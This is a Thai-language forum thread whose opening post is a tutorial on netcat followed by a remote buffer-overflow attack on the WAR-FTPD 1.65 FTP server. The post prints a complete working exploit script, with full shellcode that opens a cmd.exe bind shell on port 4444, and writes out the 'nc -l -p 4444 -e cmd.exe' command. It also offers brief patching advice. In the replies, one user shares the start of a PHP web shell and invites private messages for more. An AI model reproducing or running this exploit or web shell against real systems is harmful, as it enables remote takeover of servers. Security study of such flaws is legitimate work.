หัวข้อ: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในท เริ่มหัวข้อโดย: mayaseven ที่ 02 เมษายน 2011, 23:52:15 How to hack back to the basic
Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!!!! สามารถดูวิดีโอเพิ่มเติมได้ที่ : http://mayaseven.blogspot.com/2011/04/how-to-hack-back-to-basic_07.html ในบทความครั้งนี้ผมจะมานำเสนอสิ่งที่เป็นที่สงสัยกันมากแต่ไม่รู้จะหาคำตอบที่ไหน สงสัยว่า Hacker เนี่ยเขาทำอะไร เขา Hack ยังไง บทความนี้น่าจะเป็นบทความภาษาไทยครั้งแรกๆในไทยที่ออกมาแฉอย่างละเอียด และผมอยากให้ทุกคนสามารถอ่านเข้าใจได้แม้ว่าเรื่องราวมันจะค่อนข้างซับซ้อน ผมจึงได้ลดคำศัพท์ยากเๆและอธิบายด้วยภาษาบ้านๆให้ทุกคนสามารถเข้าใจได้ซึ่งบ้างจุดอาจจะไม่ตรงเป๊ะแต่เพื่อให้ผู้อ่านเข้าใจง่าย ผมอยากให้คนอ่านได้ Concept เป็นพอครับ ไม่งั้นได้อธิบายกันเป็นมหากาพย์แน่ๆ ผมจะแนะนำ Tools ในตำนานตัวหนึ่งซึ่งมีประโยชน์มากๆ ในการเรียนรู้การทำงานของ Network และการเปิด Service ต่างๆ ซึ่งสามารถนำความรู้ไปเป็นแนวทางในงานด้าน Network Programming ได้ผมหวังว่าบทความนี้จะจุดประกายความคิดให้ใครสักคน ซึ่งนั้นก็ถือว่าประสบความสำเร็จแล้ว เริ่มจากวันหนึ่งในขณะที่ผมกำลังเรียนวิชา DATA STRUCTURES AND ALGORITHMS อยู่นั้นอาจารย์ที่สอนได้ถามคำถามเกี่ยวกับ Code โปรแกรมสองสามข้อ ปรากฏว่าไม่มีนักศึกษาคนไหนตอบได้เลย อาจารย์แกก็เลยบ่นๆว่า "ทักษะ Programming เนี่ยมันไม่ใช่จรวดนำวิถี มันไม่ใช่ที่สุดของวิศวคอม แต่มันเปรียบเสมือนมีดพกที่สามารถนำมาใช้แก้ปัญหาต่างๆได้ตลอดเวลา" หลังจากได้ฟังคิดในใจ "จารย์คิดได้ไงฟ่ะ คมหว่ะ ฮ่าาา" วันนี้ผมก็เลยจะมานำเสนอ "มีดพก" ในงานด้าน Network ซึ่งมันทำงานได้ทุกอย่างเปรียบเสมือนเรามีมีดพกเวลาเราเดินป่าทีเดียว โดยสิ่งที่ผมจะมานำเสนอมันมีชื่อว่า netcat ขนาดไม่กี่ KB แต่ความสามารถนั้นเกินขนาดมากๆ Link download : http://www.downloadnetcat.com/nc11nt.zip <<< Windows version http://www.downloadnetcat.com/netcat-0.7.1.tar.gz <<< Linux version link ข้างบนนั้นเป็น link download เจ้า netcat กับ source code ของมันซึ่งมันถูกเขียนขึ้นมาด้วยภาษา C อายุของเจ้า netcat นี้ก็ราวๆเกือบสิบปีแต่ก็ยังนำมาใช้งานจนถึงปันจุบัน (ยิ่งเป็นด้าน IT ด้วยไม่เทพจริงอยู่ไม่ได้นานขนาดนี้หรอก ^^) สำหรับการใช้งานของเจ้าตัว netcat นั้นจะแบ่งออกเป็น 2 ส่วนนะครับคือ 1.ใช้เป็น Server คำสั่งในการใช้งานเบื้องต้น 'nc -lp [port]' <<< ทำการเปิด [port] เช่น 'nc -l 123' ก็จะทำการเปิด service บน port 123 2.ใช้เป็น Client คำสั่งในการใช้งานเบื้องต้น 'nc [target IP] [port]' <<< ทำการ connect ไปยัง IP และ port นั้นๆ การประยุกต์ใช้งาน 1.เปิด Web Service(เบื้องต้น) 2.Chat 3.File tranfer 4.Spoof 5.Remote Buffer Overflow ?????(ผมจะโชว์อันนี้แล้วกัน!!!) 6........ Remote Buffer Overflow คืออะไร เอา Buffer Overflow ก่อนละกันมันคือการทำให้ Virtual Memory ของโปรแกรมที่กำลังทำงานอยู๋นั้นเกิดการล้นซึ่งมันจะล้นไปทับในส่วนอื่นของโปรแกรมที่กำลังทำงานอยู่ผลโดยทั่วไปก็คือจะทำให้โปรแกรม Crash นั้นเอง ส่วน Remote Buffer Overflow ก็คือการทำให้เจ้า Virtual Memory นั้นล้นทับส่วนอื่นของโปรแกรมเหมือนกันแต่เป็นการทำจากระยะไกลหรือเครื่องอื่นนั้นเอง ถามว่าเราจะทำได้แค่ให้มัน Crash แค่นั้นหรือปล่าว คำตอบคือเหนือกว่านั้นเยอะสิ่งนี้ทำให้ผมถึงกลับหลงใหลมันจนถึงปัจจุบันเลยทีเดียว คือเราจะเข้ายึด Flow ในการทำงานของโปรแกรมที่กำลังทำงานอยู่ให้มันแปลงร่าง backdoor แทนเพื่อให้เราสามารถเจาะเข้าไปได้แทน !!! เอาล่ะเรามาเริ่มกันเลย เริ่มจากมี Windows Server เครื่องหนึ่ง Run Service ต่างๆอยู่ ตามนี้ (http://1.bp.blogspot.com/-dfKkVGNVdUc/TZXklsy1VxI/AAAAAAAAAAg/vPW9t3cZlbs/s1600/2.png) โดย Service ที่เราจะโจมตีครั้งนี้คือ FTP Server โดยทดสอบการ Connect ได้ผลตามนี้ root@bt:~/bof# nc 10.66.244.196 21 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220 Please enter your user name. User anonymous # ผมลอง login ด้วย anonymous แต่ปรากฏว่าไม่ได้ 421- Anonymous access not allowed. 421 Control connection closed. ขั้นต่อไปเราจะลอง Overflow ในส่วนของ Input Username โดยเราจะลองใส่ Username ให้มีความยาว 777 ตัวอักษรซึ่งในที่นี้ผมเขียนสคริปขึ้นมาป้อน Input เอา(ไม่ไหวจะกด ==") โดย Script ของผมมี Code ดังนี้ #!/usr/bin/env python print 'USER '+'w'*777 ตั้งชื่อ Script นี้ว่า overflow1.py หลังจาก run ผลได้ตามนี้ root@bt:~/bof# python overflow1.py | nc 10.66.244.196 21 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220 Please enter your user name. 331 User name okay, Need password. ^C หลังจากนั้นผมได้ลอง Connect เข้าไปอีกที ปรากฏว่า !!! root@bt:~/bof# nc 10.66.244.196 21 (UNKNOWN) [10.66.244.196] 21 (ftp) : Connection refused โอ้วโนนนน Service นั้น Crash ไปแล้วโอ้บระเจ้าโจ๊ก ! ทีนี้เราจะมาดูในฝั่งของ Windows Server ว่าเกิดอะไรขึ้น ตามรูป (http://2.bp.blogspot.com/-Xv-xVtjtEbg/TZXk7zOTGsI/AAAAAAAAAAk/V5JQt3x5EMM/s320/3.png) โอ้วโนนนน(อีกรอบ) Stack Memory ล้น จนไปทับ EIP แล้ว หมายเหตุ ESP คือ Pointer ที่ Stack สูงสุดอยู่ในที่นี้คือ 0098FD8C EIP คือ Pointer ที่ชี้ไปยังตำแหน่งของคำสั่งที่จะทำงานต่อไป ในที่นี้โดน Stack Memory ล้นทับจนมีค่าเป็น 0x7777777 โดยที่เลข 77 คือค่า ASCII ของตัวอักษร 'w' ที่ผมส่งไป 777 ตัว ทีนี้เราก็รู้สาเหตุที่มัน Crash แล้ว ตอนนี้เราสามารถควบคุม EIP ให้ชี้ไปที่ไหนก็ได้ หึๆ จะเป็นยังไงถ้าเราชี้ไปที่ตำแหน่งที่เราฝั่งเจ้า Code วายร้ายเอาไว้!!!! อาจจะยังไม่เห็นภาพมาดูกันเลย ขั้นตอนต่อไปเราก็มานั้งไล่หาว่าส่งไปกี่ตัวมันถึงจะไปทับเจ้า EIP เป๊ะๆเพื่อจะได้เปลี่ยนเจ้า EIP ให้ชี้ไปที่ตำแหน่งที่เราต้องการ โดยครั้งนี้เราจะแนบเจ้า Code วายร้ายไปด้วยโดนชื่ออย่างเป็นทางการเขาเรียกมันกันว่า ShellCode โดยเจ้า Code วายร้ายนี้ก็ไม่ใช่ใครอื่นไกลมันคือเจ้า nc ในโหมด Server นั้นเอง(ในบทความนี้) เพื่อไปเปิด Connection ให้เราสามารถเจาะเข้าไปได้ หมายเหตุ เจ้า nc ในโหมดวายร้ายคือ "nc -l -p 4444 -e C:\winnt\system32\cmd.exe" อธิบายแบบบ้านๆคือมันจะเปิด port 4444 แล้วเมื่อเรา connect เข้าไปเราก็จะได้ Shell ของเครื่องเป้าหมายนั้นเองแต่เราต้องแปลงร่างเจ้า nc ในโหมดวายร้ายให้เป็นภาษาเครื่องซะก่อนเพื่อให้มันทำงานได้โดยตรงเมื่อ EIP Pointer ชี้ไปให้มันทำงาน แปลงร่างได้ Code ประมาณนี้ shellcode = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66" shellcode += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6" shellcode += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa" shellcode += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f" shellcode += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb" shellcode += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba" shellcode += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb" shellcode += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc" shellcode += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61" shellcode += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70" shellcode += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44" shellcode += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7" shellcode += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69" shellcode += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9" shellcode += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0" shellcode += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3" shellcode += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7" shellcode += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0" shellcode += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67" shellcode += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1" shellcode += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0" shellcode += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88" shellcode += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d" shellcode += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95" shellcode += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2" และนี้คือที่มาของคำว่า ShellCode ขออภัยที่จำที่มาของเจ้า ShellCode ตัวนี้ไม่ได้ ==" ที่นี้เราก็จะทำการส่งเจ้า Code นี้ไป Run ที่เครื่องเป้าหมายซะ แต่เราจะส่งไป Run แบบเหนือชั้นกว่าการส่งโทรจันไปหลอกให้เหยื่อรันแบบในสมัยก่อนนะเธอว์ ขั้นต่อไปเราก็มาเขียน Code เพื่อส่งมันไป Run #!/usr/bin/env python # Video : [PoC] http://www.youtube.com/user/mayaseven shellcode = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66" shellcode += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6" shellcode += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa" shellcode += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f" shellcode += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb" shellcode += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba" shellcode += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb" shellcode += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc" shellcode += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61" shellcode += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70" shellcode += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44" shellcode += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7" shellcode += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69" shellcode += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9" shellcode += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0" shellcode += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3" shellcode += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7" shellcode += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0" shellcode += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67" shellcode += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1" shellcode += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0" shellcode += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88" shellcode += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d" shellcode += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95" shellcode += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2" print 'USER '+'w'*485+"\x8b\x89\xe8\x77"+"\x90"*16+shellcode โดยผมเซฟมันชื่อว่า overflow2.py ทีนี้ผมจะอธิบาย Code ของผมสักหน่อย 'w'*485 ส่วนนี้คือ buffer ที่พอดีให้อีก 4 Byte ข้างหน้าลง EIP "\x8b\x89\xe8\x77" ส่วนนี้คือส่วนที่จะลง EIP พอดีเพื่อให้ JUMP ไป Run ShellCode จริงๆแล้วมันเรียงกับด้านด้วยเหตุผลของสถาปัตยกรรม endian กับ little endian "\x90"*16 ส่วนนี้คือส่วนล่อเป้าเป็นเทคนิค NOP Sled คือประมาณว่า JUMP มาแล้วถึงไม่ตรงเป้าก็ให้มันลงตรง NOP นี่แระละฟ่ะมันจะได้ทำงานต่อไปจนถึง ShellCode โดยไม่ Crash ซะก่อน เออลืมบอก NOP คือ No Operation คือถ้า EIP ชี้มาตรงนี้มันก็จะเลื่อนไปตำแหน่งต่อไป shellcode ก็คือเจ้า nc ในโหมดวายร้ายนั้นเองนะเธอว์ (อาจจะ Abstract ซักหน่อยจินตนาการเอาละกันไม่รู้จะอธิบายยังไงให้ดีฟ่านี้แล้ว) มาขั้นสุดท้ายยิงมันนนนนนนนนนนนน (http://3.bp.blogspot.com/-3_hk_oMFaTk/TZXnAZO1loI/AAAAAAAAAAo/cxJJeBzhffI/s320/4.png) เรียบร้อยควบคุม Server เป้าหมายได้แล้ว ที่เหลือก็ หึๆๆๆ วิธีป้องกัน 1.มันจะอยู่ในส่วนตั้งแต่การพัฒนาโปรแกรมเลยครับ คือต้องเขียนโปรแกรมให้รอบคอบจัดการ Memory ให้ดี และถ้าเป็นโปรแกรมที่ต้องให้ความสำคัญมากก็อาจจะจ้าง Hacker มาตรวจสอบก่อนที่จะปล่อยให้โปรแกรมนั้นออกไปใช้งานจริง เช่น Bank 2.สำหรับการป้องกันของผู้ใช้ทั่วไปคือตาม Update patch ของโปรแกรมนั้นๆให้ทันสมัยอยู่เสมอครับคือ Vendor เขา Update แก้ช่องโหว่ให้แล้วแต่เราไม่ไป Update มันก็นะ ... ปล.เพื่อการศึกษาเท่านั้น !!! No Grean #เขียนโดย MaYaSeVeN http://mayaseven.blogspot.com #อนุญาติให้ Copy ไปโพสต่อที่ไหนก็ได้แต่ต้องแนบเครดิตด้วยนะครับ หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: pollok ที่ 03 เมษายน 2011, 00:13:24 ใส่ลิ้งค์ได้ด้วยหรือเปล่าน้า :wanwan016:
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: Railway ที่ 03 เมษายน 2011, 00:15:15 พี่แกใส่ลายเซ็นตั้งแต่กระทู้แรกเลยวุ้ย.... :P
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: mayaseven ที่ 03 เมษายน 2011, 00:20:35 หมายถึงใส่ link ในลายเซ็นต์รึป่าวครับถ้าใช่ผมเอาออกให้แล้วนะครับ ขออภัยที่ไม่ได้อ่านกฏ :wanwan017:
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: marknary ที่ 03 เมษายน 2011, 16:47:31 โหเจ๋งแฮะ ว่าแต่เรียนที่ไหนหว่า
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: darksammer ที่ 03 เมษายน 2011, 16:51:41 เห็นภาพเลยทีเดียว :P
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: Tanut007 ที่ 03 เมษายน 2011, 17:03:13 Web มีประโยชน์ เอาไปต่อยอดได้เยอะเลยครับ
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: redbulls ที่ 03 เมษายน 2011, 17:05:38 งง มากมาย แต่ก็ขอบคุณ สำหรับ ความรู้คับ งงมากๆ :P
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: pondkung007 ที่ 03 เมษายน 2011, 17:25:51 เจ๋งครับ แต่ ผม งง แหะๆ :P
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: KhunHen ที่ 03 เมษายน 2011, 17:29:17 ขอบคุณครับ
แล้วมันมีวิธีป้องกันไหมครับ ใช้ firewall นี้พอจะป้องกัน port ที่มันจะเปิดเพิ่มมาได้ไหมครับ หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: manisits ที่ 03 เมษายน 2011, 18:11:11 Hack อะไรหรอ :P
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: mayaseven ที่ 03 เมษายน 2011, 21:35:33 คืออันนี้โจมตี port ที่เปิดให้บริการครับ(port ที่Firewall allow) สำหรับคนที่ยังไม่เข้าใจผมกำลังทำวิดีโอกับอธิบายในส่วน ทฤฏษี เพิ่มเป็น Episode อยู่ครับติดตามได้ต่อไป :wanwan011:
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในท เริ่มหัวข้อโดย: luxx ที่ 03 เมษายน 2011, 21:44:33 อันนี้ Code ที่สดวกกว่าเมื่อ Hack ไปใน Server หรือ Host ได้แล้ว
โค๊ด: <?php # Web Shell by boff ยังไม่หมดสนใจ PM มาครับ ปล. โดน ประจำ จนจำได้หมดแล้ว ทั้งๆที่ไม่เคยรู้เรื่อง Programming หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: mayaseven ที่ 03 เมษายน 2011, 22:32:05 @luxx
อันนี้คือ phpshell ครับซึ่งจะใช้โจมตีในส่วนของ Webapp หรือ webserver ที่เปิด port 80 ซึ่งจะพูดให้เข้าใจง่าย มันคือ phpbackdoor แต่สามารถ config ป้องกันได้ครับผมกำลังจะเขียนในส่วนการป้องกัน phpshell อยู่เหมือนกัน ^^ หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: atikanzaa ที่ 03 เมษายน 2011, 22:42:30 :wanwan009: ถ้าโดนเข้าไปหนาวเลย :wanwan035:
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: Meen2007 ที่ 03 เมษายน 2011, 23:42:05 แจ่มมาก แต่เรายังไม่ถึงขั้นที่จะเข้าใจได้ :wanwan004:
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: SearchMarketing ที่ 04 เมษายน 2011, 00:07:55 เทพเกินจินตนาการ
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: G ที่ 04 เมษายน 2011, 00:40:16 ขอถาม จขกท. หน่อยครับว่าทำยังไงเว็บผมถึงจะเข้าได้เร็วขึ้นครับผม
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: ครึ่งควบลูก! ที่ 04 เมษายน 2011, 00:43:54 ขอถาม จขกท. หน่อยครับว่าทำยังไงเว็บผมถึงจะเข้าได้เร็วขึ้นครับผม :wanwan001:หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: lucationjj ที่ 04 เมษายน 2011, 00:45:05 ขอถาม จขกท. หน่อยครับว่าทำยังไงเว็บผมถึงจะเข้าได้เร็วขึ้นครับผม :wanwan001:พี่เท่ง ไปกินตับ ป่ะครับ :wanwan001: หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: ITTO008 ที่ 04 เมษายน 2011, 01:18:25 เมืองไทยเรามีแฮคเกอร์เยอะไหมครับ ส่วนใหญ่รวมกลุ่มกันอยู่ที่ไหนบ้างเหรอครับ :wanwan004:
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: marknary ที่ 04 เมษายน 2011, 01:22:23 เมืองไทยเรามีแฮคเกอร์เยอะไหมครับ ส่วนใหญ่รวมกลุ่มกันอยู่ที่ไหนบ้างเหรอครับ :wanwan004: ที่เห็นเป็นที่รวมตัวกันก็ citec มั้งครับ แต่ดูแล้วไม่ค่อยมีอะไร มีแต่การจัดอบรม เสียค่าใช้จ่าย ของจริงเขาไม่ค่อยเปิดเผยครับ เพราะมันเป็นดาบสองคม เช่นกระทู้นี้เป็นต้น กระทู้นี้เป็นตัวอย่างการ hack โดยการทำ stack overflow ซึ่งเทคนิคการ hack นั้นมีมากมายหลายอย่าง ก็ต้องศึกษากันไป เช่น ถ้าคุณจะ hack web คุณต้องเข้าใจว่าเว็บสร้างมายังไง สร้างด้วยอะไร ใช้เทคโนโลยีอะไร จุดโหว่มีอะไรบ้าง ถ้าคุณจะทำการ hack ที่เกี่ยวข้องกับ ระบบปฏิบัติการ ก็ต้องรู้ในเรื่องที่เกี่ยวข้องกับระบบปฏิบัติการ เป็นต้น ทางที่ดีควรบอกวิธีป้องกันด้วย(ถ้ามี) เพื่อไม่ให้เน้นไปในด้านมืดอย่างเดียว จะเห็นว่า หลังๆ ผู้ที่เผยแพร่จะทำการสาธิต hack ระบบตัวเอง เพราะ ตอนนี้มันมี พรบ คอม ค้ำคออยู่ ไอทีก็เป็นเสียง คุกคุก ปรับปรับ หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: goto69 ที่ 04 เมษายน 2011, 13:00:22 อย่าเผยแพร่ เลย ครับ เด๋วเด็กซนเอาไปทำคนอื่นต่อนะครับ
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: !Blogger SEO~~ ที่ 06 เมษายน 2011, 10:36:59 ขอถาม จขกท. หน่อยครับว่าทำยังไงเว็บผมถึงจะเข้าได้เร็วขึ้นครับผม เหมาหมดเลยหรอครับเนี่ย :wanwan004: :wanwan004: หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: ossytong ที่ 06 เมษายน 2011, 10:48:14 MayaSeven !!!
สุดยอดครับท่าน ผมปลื้มท่านตั้งแต่ตอนไปสัมนา ที่ Citec จัด ที่ ม.หอกาาค้า แล้ว ไอดอลลลล :wanwan019: :wanwan019: :wanwan019: หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: pjumpod ที่ 06 เมษายน 2011, 10:57:06 ถ้าไม่เปิด nc-server ไว้ที่ฝั่งที่เราจะ hack เราสามารถใช้ netcat แฮกไปที่ port อื่นที่เปิดอยุ่ได้ไหมเอ๋ย
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: doctorkarn ที่ 06 เมษายน 2011, 10:57:18 สุดยอดครับ (แม้ว่าผมจะอ่านไม่ค่อยเข้าใจก็ตาม :P)
ปล. อยากรู้ว่า มันมี hacker สายขาวไหมอ่า??? หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: pohchara ที่ 06 เมษายน 2011, 11:00:27 ขอถาม จขกท. หน่อยครับว่าทำยังไงเว็บผมถึงจะเข้าได้เร็วขึ้นครับผม :wanwan001:หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: kokhis2bot ที่ 06 เมษายน 2011, 11:05:55 เป็น Hacker ต้องรู้เกี่ยวกับ Os ระบบปฎิบัติการ อย่างสูงถึงเทพได้เหมือน...
